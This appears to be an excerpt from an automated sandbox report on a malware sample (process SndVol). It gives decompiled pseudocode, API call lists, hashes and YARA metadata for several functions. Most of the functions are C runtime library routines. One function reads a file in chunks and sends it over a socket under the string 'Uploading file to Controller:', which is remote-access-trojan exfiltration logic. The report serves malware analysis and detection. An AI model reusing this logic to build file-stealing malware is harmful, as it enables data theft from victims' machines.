                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                    • String ID: Close
                                    • API String ID: 1657328048-3535843008
                                    • Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                                    • Instruction ID: e6687d8e19a5b13ff8f4a2ab1eeb6ac771ba77026914e043365fee23672e35fe
                                    • Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                                    • Instruction Fuzzy Hash: E82169B1844209FFDB094F64ED0EAAA3F36FB08306F000125F906950B1D779DDA1EB29
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00445CA6 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 91%
                                    			E00445CA6(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				char _v21;
				intOrPtr _v22;
				struct _cpinfo _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				intOrPtr* _v44;
				signed int _v48;
				void* _v52;
				signed int* _v56;
				intOrPtr _v60;
				intOrPtr* _v64;
				signed int* _v68;
				void* _v72;
				char _v76;
				signed int _t101;
				signed int _t123;
				signed short _t126;
				void* _t130;
				void* _t134;
				void* _t137;
				void* _t138;
				intOrPtr _t139;
				void* _t141;
				signed int _t142;
				intOrPtr* _t143;
				signed char _t160;
				signed char _t165;
				signed int _t166;
				void* _t168;
				signed int _t170;
				void* _t179;
				signed int* _t180;
				signed int* _t181;
				signed int _t182;
				signed char* _t189;
				signed char* _t190;
				signed int _t192;
				void* _t193;
				intOrPtr _t197;
				short* _t209;
				intOrPtr* _t211;
				intOrPtr* _t215;
				signed int _t216;
				signed int _t217;
				void* _t218;
				void* _t219;

				_t101 =  *0x47100c; // 0xbb2d687
				_v8 = _t101 ^ _t217;
				_t211 = _a4;
				_t170 = 0;
				_v64 = _t211;
				_v32 = 0;
				_t172 =  *((intOrPtr*)(_t211 + 0xa8));
				_v36 = 0;
				_v40 = 0;
				_v52 = 0;
				_v76 = _t211;
				_v72 = 0;
				if( *((intOrPtr*)(_t211 + 0xa8)) == 0) {
					__eflags =  *(_t211 + 0x8c);
					if( *(_t211 + 0x8c) != 0) {
						asm("lock dec dword [eax]");
					}
					 *(_t211 + 0x8c) = _t170;
					__eflags = 0;
					 *(_t211 + 0x90) = _t170;
					 *_t211 = 0x45d8c0;
					 *((intOrPtr*)(_t211 + 0x94)) = 0x45db40;
					 *((intOrPtr*)(_t211 + 0x98)) = 0x45dcc0;
					 *((intOrPtr*)(_t211 + 4)) = 1;
					L41:
					return E00434F3B(_v8 ^ _t217);
				}
				_t106 = _t211 + 8;
				_v44 = 0;
				if( *(_t211 + 8) != 0) {
					L3:
					_v44 = E00445A43(_t172, 1, 4);
					E00446652(_t170);
					_v32 = E00445A43(_t172, 0x180, 2);
					E00446652(_t170);
					_v36 = E00445A43(_t172, 0x180, 1);
					E00446652(_t170);
					_v40 = E00445A43(_t172, 0x180, 1);
					E00446652(_t170);
					_t197 = E00445A43(_t172, 0x101, 1);
					_v52 = _t197;
					E00446652(_t170);
					_t219 = _t218 + 0x3c;
					if(_v44 == _t170 || _v32 == _t170 || _t197 == 0 || _v36 == _t170 || _v40 == _t170) {
						L36:
						E00446652(_v44);
						E00446652(_v32);
						E00446652(_v36);
						E00446652(_v40);
						_t170 = 1;
						__eflags = 1;
						goto L37;
					} else {
						_t123 = _t170;
						do {
							 *(_t123 + _t197) = _t123;
							_t123 = _t123 + 1;
						} while (_t123 < 0x100);
						if(GetCPInfo( *(_t211 + 8),  &_v28) == 0) {
							goto L36;
						}
						_t126 = _v28;
						_t235 = _t126 - 5;
						if(_t126 > 5) {
							goto L36;
						}
						_t28 = _t197 + 1; // 0x1
						_v48 = _t126 & 0x0000ffff;
						_t192 = 0xff;
						_t130 = E0044AD36(_t197, _t211, _t235, _t170,  *((intOrPtr*)(_t211 + 0xa8)), 0x100, _t28, 0xff, _v36 + 0x81, 0xff,  *(_t211 + 8), _t170);
						_t219 = _t219 + 0x24;
						_t236 = _t130;
						if(_t130 == 0) {
							goto L36;
						}
						_t34 = _t197 + 1; // 0x1
						_t134 = E0044AD36(_t197, _t211, _t236, _t170,  *((intOrPtr*)(_t211 + 0xa8)), 0x200, _t34, 0xff, _v40 + 0x81, 0xff,  *(_t211 + 8), _t170);
						_t219 = _t219 + 0x24;
						if(_t134 == 0) {
							goto L36;
						}
						if(_v48 <= 1 || _v22 == _t170) {
							L22:
							_v60 = _v32 + 0x100;
							_t137 = E0045107D(_t170, _t192, _t197, _t211, _t242, _t170, 1, _t197, 0x100, _v32 + 0x100,  *(_t211 + 8), _t170);
							_t219 = _t219 + 0x1c;
							if(_t137 == 0) {
								goto L36;
							}
							_t193 = _v32;
							_t138 = _t193 + 0xfe;
							 *_t138 = 0;
							_t179 = _v36;
							_v32 = _t138;
							_t139 = _v40;
							 *(_t179 + 0x7f) = _t170;
							_t180 = _t179 - 0xffffff80;
							 *(_t139 + 0x7f) = _t170;
							_v68 = _t180;
							 *_t180 = _t170;
							_t181 = _t139 + 0x80;
							_v56 = _t181;
							 *_t181 = _t170;
							if(_v48 <= 1 || _v22 == _t170) {
								L32:
								_t182 = 0x3f;
								memcpy(_t193, _t193 + 0x200, _t182 << 2);
								_push(0x1f);
								asm("movsw");
								_t141 = memcpy(_v36, _v36 + 0x100, 0 << 2);
								_push(0x1f);
								asm("movsw");
								asm("movsb");
								_t142 = memcpy(_t141, _t141 + 0x100, 0 << 2);
								asm("movsw");
								asm("movsb");
								_t215 = _v64;
								if( *((intOrPtr*)(_t215 + 0x8c)) != 0) {
									asm("lock xadd [ecx], eax");
									if((_t142 | 0xffffffff) == 0) {
										E00446652( *(_t215 + 0x90) - 0xfe);
										E00446652( *(_t215 + 0x94) - 0x80);
										E00446652( *(_t215 + 0x98) - 0x80);
										E00446652( *((intOrPtr*)(_t215 + 0x8c)));
									}
								}
								_t143 = _v44;
								 *_t143 = 1;
								 *((intOrPtr*)(_t215 + 0x8c)) = _t143;
								 *_t215 = _v60;
								 *(_t215 + 0x90) = _v32;
								 *(_t215 + 0x94) = _v68;
								 *(_t215 + 0x98) = _v56;
								 *(_t215 + 4) = _v48;
								L37:
								E00446652(_v52);
								goto L41;
							} else {
								_t189 =  &_v21;
								while(1) {
									_t160 =  *_t189;
									if(_t160 == 0) {
										break;
									}
									_t216 =  *(_t189 - 1) & 0x000000ff;
									if(_t216 > (_t160 & 0x000000ff)) {
										L30:
										_t189 =  &(_t189[2]);
										if( *(_t189 - 1) != _t170) {
											continue;
										}
										break;
									}
									_t209 = _t193 + 0x100 + _t216 * 2;
									do {
										_t216 = _t216 + 1;
										 *_t209 = 0x8000;
										_t209 = _t209 + 2;
									} while (_t216 <= ( *_t189 & 0x000000ff));
									goto L30;
								}
								goto L32;
							}
						} else {
							_t190 =  &_v21;
							while(1) {
								_t165 =  *_t190;
								if(_t165 == 0) {
									goto L22;
								}
								_t192 =  *(_t190 - 1) & 0x000000ff;
								_t166 = _t165 & 0x000000ff;
								while(_t192 <= _t166) {
									 *((char*)(_t192 + _t197)) = 0x20;
									_t192 = _t192 + 1;
									__eflags = _t192;
									_t166 =  *_t190 & 0x000000ff;
								}
								_t190 =  &(_t190[2]);
								_t242 =  *(_t190 - 1) - _t170;
								if( *(_t190 - 1) != _t170) {
									continue;
								}
								goto L22;
							}
							goto L22;
						}
					}
				}
				_t168 = E00452DC5(0, __edx, __edi, _t211,  &_v76, 0, _t172, 0x1004, _t106);
				_t219 = _t218 + 0x14;
				if(_t168 != 0) {
					goto L36;
				}
				goto L3;
			}



















































                                    0x00445cae
                                    0x00445cb5
                                    0x00445cba
                                    0x00445cbd
                                    0x00445cc0
                                    0x00445cc3
                                    0x00445cc6
                                    0x00445ccc
                                    0x00445ccf
                                    0x00445cd2
                                    0x00445cd5
                                    0x00445cd8
                                    0x00445cdd
                                    0x00445ffd
                                    0x00445fff
                                    0x00446001
                                    0x00446001
                                    0x00446004
                                    0x0044600a
                                    0x0044600c
                                    0x00446012
                                    0x00446018
                                    0x00446022
                                    0x0044602c
                                    0x00446033
                                    0x00446043
                                    0x00446043
                                    0x00445ce3
                                    0x00445ce6
                                    0x00445ceb
                                    0x00445d09
                                    0x00445d13
                                    0x00445d16
                                    0x00445d29
                                    0x00445d2c
                                    0x00445d3a
                                    0x00445d3d
                                    0x00445d4b
                                    0x00445d4e
                                    0x00445d5f
                                    0x00445d62
                                    0x00445d65
                                    0x00445d6a
                                    0x00445d70
                                    0x00445fc4
                                    0x00445fc7
                                    0x00445fcf
                                    0x00445fd7
                                    0x00445fdf
                                    0x00445fe9
                                    0x00445fe9
                                    0x00000000
                                    0x00445d99
                                    0x00445d99
                                    0x00445d9b
                                    0x00445d9b
                                    0x00445d9e
                                    0x00445d9f
                                    0x00445db5
                                    0x00000000
                                    0x00000000
                                    0x00445dbb
                                    0x00445dbe
                                    0x00445dc1
                                    0x00000000
                                    0x00000000
                                    0x00445dce
                                    0x00445dd1
                                    0x00445dd4
                                    0x00445df1
                                    0x00445df6
                                    0x00445df9
                                    0x00445dfb
                                    0x00000000
                                    0x00000000
                                    0x00445e15
                                    0x00445e25
                                    0x00445e2a
                                    0x00445e2f
                                    0x00000000
                                    0x00000000
                                    0x00445e39
                                    0x00445e66
                                    0x00445e7c
                                    0x00445e7f
                                    0x00445e84
                                    0x00445e89
                                    0x00000000
                                    0x00000000
                                    0x00445e8f
                                    0x00445e94
                                    0x00445e9a
                                    0x00445e9d
                                    0x00445ea0
                                    0x00445ea3
                                    0x00445ea6
                                    0x00445ea9
                                    0x00445eb0
                                    0x00445eb3
                                    0x00445eb6
                                    0x00445eb8
                                    0x00445ebe
                                    0x00445ec1
                                    0x00445ec3
                                    0x00445f05
                                    0x00445f07
                                    0x00445f10
                                    0x00445f15
                                    0x00445f18
                                    0x00445f22
                                    0x00445f24
                                    0x00445f27
                                    0x00445f29
                                    0x00445f32
                                    0x00445f34
                                    0x00445f36
                                    0x00445f37
                                    0x00445f42
                                    0x00445f47
                                    0x00445f4b
                                    0x00445f59
                                    0x00445f6c
                                    0x00445f7a
                                    0x00445f85
                                    0x00445f8a
                                    0x00445f4b
                                    0x00445f8d
                                    0x00445f90
                                    0x00445f96
                                    0x00445f9f
                                    0x00445fa4
                                    0x00445fad
                                    0x00445fb6
                                    0x00445fbf
                                    0x00445fea
                                    0x00445fed
                                    0x00000000
                                    0x00445eca
                                    0x00445eca
                                    0x00445ecd
                                    0x00445ecd
                                    0x00445ed1
                                    0x00000000
                                    0x00000000
                                    0x00445ed3
                                    0x00445edc
                                    0x00445efa
                                    0x00445efa
                                    0x00445f00
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00445f00
                                    0x00445ee4
                                    0x00445ee7
                                    0x00445eec
                                    0x00445eed
                                    0x00445ef0
                                    0x00445ef6
                                    0x00000000
                                    0x00445ee7
                                    0x00000000
                                    0x00445f02
                                    0x00445e40
                                    0x00445e40
                                    0x00445e43
                                    0x00445e43
                                    0x00445e47
                                    0x00000000
                                    0x00000000
                                    0x00445e49
                                    0x00445e4d
                                    0x00445e5a
                                    0x00445e52
                                    0x00445e56
                                    0x00445e56
                                    0x00445e57
                                    0x00445e57
                                    0x00445e5e
                                    0x00445e61
                                    0x00445e64
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00445e64
                                    0x00000000
                                    0x00445e43
                                    0x00445e39
                                    0x00445d70
                                    0x00445cf9
                                    0x00445cfe
                                    0x00445d03
                                    0x00000000
                                    0x00000000
                                    0x00000000

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$Info
                                    • String ID:
                                    • API String ID: 2509303402-0
                                    • Opcode ID: 5389e19cd8074467722e87e13c63451ee21fb00145f5e1c4a4ed7b29eb800e90
                                    • Instruction ID: c19408c7b69e5fa2c85a6feed64924b3e8bb452cd09ea8480743a7a4ea8fbcbe
                                    • Opcode Fuzzy Hash: 5389e19cd8074467722e87e13c63451ee21fb00145f5e1c4a4ed7b29eb800e90
                                    • Instruction Fuzzy Hash: D9B1DE71900705AFEF11CF69C881BEEBBB5BF09304F15402EF454A7282D779A945CB29
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 80%
                                    			E00408B7A(void* __ecx, char _a4, char _a8, char _a28, void* _a32, char _a52) {
				char _v12;
				void* _v16;
				char _v28;
				void* _v40;
				char _v52;
				void* _v56;
				char _v64;
				char _v76;
				void* _v80;
				char _v100;
				void* _v104;
				char _v116;
				char _v124;
				char _v128;
				signed int _v140;
				char _v144;
				char _v148;
				struct %anon52 _v156;
				char _v164;
				void* _v168;
				struct %anon52 _v176;
				union _LARGE_INTEGER* _v180;
				void* _v184;
				intOrPtr _v188;
				long _v192;
				signed int _v196;
				intOrPtr _v200;
				union _LARGE_INTEGER* _v204;
				union _LARGE_INTEGER _v208;
				intOrPtr _v216;
				intOrPtr _v220;
				long _v224;
				signed int _v228;
				intOrPtr _v236;
				signed int _v244;
				intOrPtr _v248;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t94;
				void* _t101;
				void* _t111;
				void* _t113;
				void* _t121;
				signed int _t134;
				void* _t135;
				signed int _t136;
				void* _t146;
				void* _t150;
				void* _t161;
				void* _t164;
				signed int _t167;
				struct _OVERLAPPED* _t169;
				struct %anon52 _t192;
				signed int _t208;
				void* _t214;
				union _LARGE_INTEGER* _t247;
				void* _t255;
				void* _t256;
				union _LARGE_INTEGER _t261;
				void* _t262;
				void* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				void* _t269;
				void* _t270;
				void* _t271;
				void* _t276;

				_t266 =  &_v184;
				_v140 = _v140 & 0x00000000;
				_t255 = __ecx;
				_v176.LowPart = 0x186a0;
				if(_a4 != 0) {
					_t161 = E004077C6(0x466468);
					_t278 = _t161;
					if(_t161 != 0) {
						_t276 =  &_v184 - 0x18;
						E0040905C(_t167, _t276, 0x466468, _t278,  &_a8);
						_t164 = E0041B384(_t167,  &_v52, 0x466468, _t264);
						_t266 = _t276 + 0x18;
						E00401F13( &_a28, 0x466468, _t256, _t164);
						E00401F09();
					}
				}
				E0040482D(_t255);
				E004048C8(_t255, _t256, _t255);
				_t94 = E0041BC70(_t167,  &_v124,  &_a28);
				_t267 = _t266 - 0x18;
				_t246 = E00402F10(_t167,  &_v52, E00402F10(_t167,  &_v28, E00402F10(_t167,  &_v100, E0041BC70(_t167,  &_v76,  &_a4), _t264, _t278, 0x474ee0), _t264, _t278,  &_a52), _t264, _t278, 0x474ee0);
				E00402EA1(_t267, _t99, _t94);
				_push(0xb6);
				_t101 = E00404AA1(_t255, _t99, _t278);
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				if((_t167 & 0xffffff00 | _t101 == 0xffffffff) == 0) {
					_t169 = 0;
					_t265 = CreateFileW(E00401F04( &_v12), 0x80000000, 1, 0, 3, 0x80, 0);
					__eflags = _t265 - 0xffffffff;
					if(__eflags != 0) {
						_v148 = 0;
						_v144 = 0;
						__imp__GetFileSizeEx( &_v148);
						_t247 = _v156.HighPart;
						_t192 = _v156;
						_v176 = _t192;
						_v180 = _t247;
						_v208.LowPart = _t192;
						_v200 = _t247;
						_v196 = 1;
						_v192 = 0;
						_t111 = E00457150(_t192, _t247, 0x186a0, 0);
						asm("adc edx, ebx");
						_t113 = E0041BB1A(0,  &_v140, _t247, _t111 + 1, _t247);
						_t268 = _t267 - 0x10;
						E00402EA1(_t268, E00402F10(0,  &_v164, E0041BB1A(0,  &_v116, _t247, _v192, _v196), _t265, __eflags, 0x474ee0), _t113);
						E00404AA1(_t255, _t115, __eflags, 0xb7, _t265);
						E00401FD8();
						E00401FD8();
						E00401FD8();
						_t121 = E0041BC10( &_v192,  &_v64);
						_t269 = _t268 - 0x18;
						_t251 = "Uploading file to Controller: ";
						E004052FD(0, _t269, "Uploading file to Controller: ", _t265, __eflags, _t121);
						_t270 = _t269 - 0x14;
						E00402093(0, _t270, "Uploading file to Controller: ", _t265, "i");
						E0041B441(0, _t255);
						_t271 = _t270 + 0x30;
						_t208 =  &_v196;
						E00401FD8();
						asm("xorps xmm0, xmm0");
						asm("movlpd [esp+0x40], xmm0");
						__eflags = _v228;
						if(__eflags < 0) {
							L22:
							CloseHandle(_t265);
							E00404E26(_t251);
							_t169 = 1;
							goto L23;
						}
						if(__eflags > 0) {
							L11:
							_t261 = 0;
							__eflags = 0;
							_v204 = _v180;
							_v208.LowPart = _v184;
							_t134 = 0x186a0;
							goto L12;
							do {
								do {
									L12:
									_t246 = _v220;
									__eflags = _t261 - _t246;
									if(__eflags < 0) {
										L16:
										_push(_t134);
										_t135 = E004346EA(_t208, _t246, _t261, __eflags);
										_push(_t169);
										_t262 = _t135;
										_v192 = _t169;
										_v184 = _t262;
										_t136 = SetFilePointerEx(_t265, _v208.LowPart, _v204, _t169);
										__eflags = _t136;
										if(_t136 == 0) {
											_t272 = _t271 - 0x18;
											_t214 = _t271 - 0x18;
											_push("SetFilePointerEx error");
											L27:
											E00402093(_t169, _t214, _t246, _t265);
											E00402093(_t169, _t272 - 0x18, _t246, _t265, "E");
											E0041B441(_t169, _t255);
											E004346F3(_t262);
											CloseHandle(_t265);
											L28:
											E00404E26(_t246);
											goto L23;
										}
										__eflags = ReadFile(_t265, _t262, _v224,  &_v192, _t169);
										if(__eflags == 0) {
											_t272 = _t271 - 0x18;
											_t214 = _t271 - 0x18;
											_push("ReadFile error");
											goto L27;
										}
										_t146 = E004020B7(_t169,  &_v144, _t246, _t265, __eflags, _t262, _v192);
										_t271 = _t271 - 0x18;
										_t253 = E00402F10(_t169,  &_v176, E0041BB1A(_t169,  &_v128, _t246, _v224, _v220), _t265, __eflags, 0x474ee0);
										E00402EA1(_t271, _t148, _t146);
										_push(0x52);
										_t150 = E00404AA1(_t255, _t148, __eflags);
										__eflags = _t150 - 0xffffffff;
										E00401FD8();
										E00401FD8();
										E00401FD8();
										__eflags = _t169 & 0xffffff00 | _t150 == 0xffffffff;
										if((_t169 & 0xffffff00 | _t150 == 0xffffffff) != 0) {
											E00404E26(_t253);
											CloseHandle(_t265);
											E004346F3(_v204);
											goto L5;
										}
										goto L19;
									}
									_t208 = _v228;
									if(__eflags > 0) {
										L15:
										_t134 = _t208;
										_v188 = _t246;
										_v224 = _t134;
										goto L16;
									}
									__eflags = _t134 - _t208;
									if(__eflags <= 0) {
										goto L16;
									}
									goto L15;
									L19:
									E004346F3(_v204);
									_t134 = _v244;
									_v248 = _v248 - _t134;
									_t261 = _v208;
									asm("sbb [esp+0x20], esi");
									_v236 = _v236 + 1;
									_t251 = _v224;
									_t169 = 0;
									asm("adc [esp+0x24], ebx");
									_t208 = _v228 + _t134;
									_v228 = _t208;
									asm("adc edx, esi");
									_v224 = _t251;
									__eflags = _t251 - _v220;
								} while (__eflags < 0);
								if(__eflags > 0) {
									goto L22;
								}
								__eflags = _t208 - _v216;
							} while (_t208 < _v216);
							goto L22;
						}
						__eflags = _v196;
						if(_v196 <= 0) {
							goto L22;
						}
						goto L11;
					}
					E00402093(0, _t267 - 0x18, _t246, _t265, 0x4660a4);
					_push(0x53);
					E00404AA1(_t255, _t246, __eflags);
					goto L28;
				} else {
					E00404E26(_t246);
					L5:
					_t169 = 0;
					L23:
					E00401F09();
					E00401F09();
					E00401FD8();
					return _t169;
				}
			}









































































                                    0x00408b7a
                                    0x00408b80
                                    0x00408b91
                                    0x00408b93
                                    0x00408b9b
                                    0x00408ba9
                                    0x00408bae
                                    0x00408bb0
                                    0x00408bb2
                                    0x00408bbf
                                    0x00408bcb
                                    0x00408bd0
                                    0x00408bdb
                                    0x00408be7
                                    0x00408be7
                                    0x00408bb0
                                    0x00408bee
                                    0x00408bf6
                                    0x00408c06
                                    0x00408c0b
                                    0x00408c60
                                    0x00408c64
                                    0x00408c6a
                                    0x00408c71
                                    0x00408c83
                                    0x00408c8f
                                    0x00408c98
                                    0x00408ca4
                                    0x00408cad
                                    0x00408cb4
                                    0x00408cc4
                                    0x00408ce9
                                    0x00408ceb
                                    0x00408cee
                                    0x00408d11
                                    0x00408d17
                                    0x00408d1b
                                    0x00408d21
                                    0x00408d2a
                                    0x00408d34
                                    0x00408d39
                                    0x00408d3d
                                    0x00408d41
                                    0x00408d45
                                    0x00408d49
                                    0x00408d4d
                                    0x00408d58
                                    0x00408d5c
                                    0x00408d61
                                    0x00408d92
                                    0x00408d9f
                                    0x00408da8
                                    0x00408db4
                                    0x00408dbd
                                    0x00408dcd
                                    0x00408dd2
                                    0x00408dd5
                                    0x00408ddd
                                    0x00408de2
                                    0x00408dec
                                    0x00408df1
                                    0x00408df6
                                    0x00408df9
                                    0x00408dfd
                                    0x00408e02
                                    0x00408e05
                                    0x00408e0b
                                    0x00408e0f
                                    0x00408f63
                                    0x00408f64
                                    0x00408f6c
                                    0x00408f71
                                    0x00000000
                                    0x00408f71
                                    0x00408e15
                                    0x00408e21
                                    0x00408e25
                                    0x00408e25
                                    0x00408e27
                                    0x00408e2f
                                    0x00408e33
                                    0x00408e33
                                    0x00408e38
                                    0x00408e38
                                    0x00408e38
                                    0x00408e38
                                    0x00408e3c
                                    0x00408e3e
                                    0x00408e54
                                    0x00408e54
                                    0x00408e55
                                    0x00408e5b
                                    0x00408e61
                                    0x00408e63
                                    0x00408e6b
                                    0x00408e70
                                    0x00408e76
                                    0x00408e78
                                    0x00408fcf
                                    0x00408fd2
                                    0x00408fd4
                                    0x00408fd9
                                    0x00408fd9
                                    0x00408fe8
                                    0x00408fed
                                    0x00408ff3
                                    0x00408ffc
                                    0x00409002
                                    0x00409004
                                    0x00000000
                                    0x00409004
                                    0x00408e91
                                    0x00408e93
                                    0x00408fc3
                                    0x00408fc6
                                    0x00408fc8
                                    0x00000000
                                    0x00408fc8
                                    0x00408ea2
                                    0x00408ea7
                                    0x00408ed4
                                    0x00408ed8
                                    0x00408ede
                                    0x00408ee2
                                    0x00408ee7
                                    0x00408ef1
                                    0x00408efd
                                    0x00408f06
                                    0x00408f0b
                                    0x00408f0d
                                    0x00408fa8
                                    0x00408fae
                                    0x00408fb8
                                    0x00000000
                                    0x00408fbd
                                    0x00000000
                                    0x00408f0d
                                    0x00408e40
                                    0x00408e44
                                    0x00408e4a
                                    0x00408e4a
                                    0x00408e4c
                                    0x00408e50
                                    0x00000000
                                    0x00408e50
                                    0x00408e46
                                    0x00408e48
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00408f13
                                    0x00408f17
                                    0x00408f1c
                                    0x00408f20
                                    0x00408f24
                                    0x00408f28
                                    0x00408f2c
                                    0x00408f31
                                    0x00408f3c
                                    0x00408f3d
                                    0x00408f41
                                    0x00408f43
                                    0x00408f47
                                    0x00408f49
                                    0x00408f4d
                                    0x00408f4d
                                    0x00408f57
                                    0x00000000
                                    0x00000000
                                    0x00408f59
                                    0x00408f59
                                    0x00000000
                                    0x00408e38
                                    0x00408e17
                                    0x00408e1b
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00408e1b
                                    0x00408cfa
                                    0x00408cff
                                    0x00408d03
                                    0x00000000
                                    0x00408cb6
                                    0x00408cb8
                                    0x00408cbd
                                    0x00408cbd
                                    0x00408f73
                                    0x00408f7a
                                    0x00408f86
                                    0x00408f92
                                    0x00408fa3
                                    0x00408fa3

                                    APIs
                                    • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 00408CE3
                                    • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
                                    • __aulldiv.LIBCMT ref: 00408D4D
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                      • Part of subcall function 0041B441: GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                    • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
                                    • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
                                    • CloseHandle.KERNEL32(00000000), ref: 00408F64
                                    • CloseHandle.KERNEL32(00000000,00000052), ref: 00408FAE
                                    • CloseHandle.KERNEL32(00000000), ref: 00408FFC
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                                    • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                                    • API String ID: 3086580692-2582957567
                                    • Opcode ID: 2edb93d30c8f3f0e37da298f82e3e073f9260874d39719d9cdb4368429c4cc99
                                    • Instruction ID: 2a249c79cd3726796632d107cd1a0d5a5b67f7e2a96100fac58eacbaa9f7f74c
                                    • Opcode Fuzzy Hash: 2edb93d30c8f3f0e37da298f82e3e073f9260874d39719d9cdb4368429c4cc99
                                    • Instruction Fuzzy Hash: DCB191716083409BC314FB26C942AAFB7E5AFC4354F40492FF589622D2EF789945CB8B
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00451217 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00451217(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x471188) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E00446652(_t46);
							E00450453( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E00446652(_t47);
							E0045090D( *((intOrPtr*)(_t74 + 0x88)));
						}
						E00446652( *((intOrPtr*)(_t74 + 0x7c)));
						E00446652( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E00446652( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E00446652( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E00446652( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E00446652( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E0045138A( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x4712a8) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E00446652(_t31);
							E00446652( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t22 = _t70 - 4; // 0xffffcf90
						_t29 =  *_t22;
						if(_t29 != 0 &&  *_t29 == 0) {
							E00446652(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E00446652(_t74);
			}















                                    0x0045121f
                                    0x00451223
                                    0x0045122b
                                    0x00451234
                                    0x00451239
                                    0x00451240
                                    0x00451248
                                    0x00451250
                                    0x0045125b
                                    0x00451261
                                    0x00451262
                                    0x0045126a
                                    0x00451272
                                    0x0045127d
                                    0x00451283
                                    0x00451287
                                    0x00451292
                                    0x00451298
                                    0x00451239
                                    0x00451299
                                    0x004512a1
                                    0x004512b4
                                    0x004512c7
                                    0x004512d5
                                    0x004512e0
                                    0x004512e5
                                    0x004512ee
                                    0x004512f6
                                    0x004512f7
                                    0x004512fd
                                    0x00451300
                                    0x00451303
                                    0x0045130a
                                    0x0045130c
                                    0x00451310
                                    0x00451318
                                    0x0045131f
                                    0x00451325
                                    0x00451326
                                    0x00451326
                                    0x0045132d
                                    0x0045132f
                                    0x0045132f
                                    0x00451334
                                    0x0045133c
                                    0x00451341
                                    0x00451342
                                    0x00451342
                                    0x00451345
                                    0x00451348
                                    0x0045134b
                                    0x0045134e
                                    0x0045134e
                                    0x00451360

                                    APIs
                                    • ___free_lconv_mon.LIBCMT ref: 0045125B
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 00450470
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 00450482
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 00450494
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 004504A6
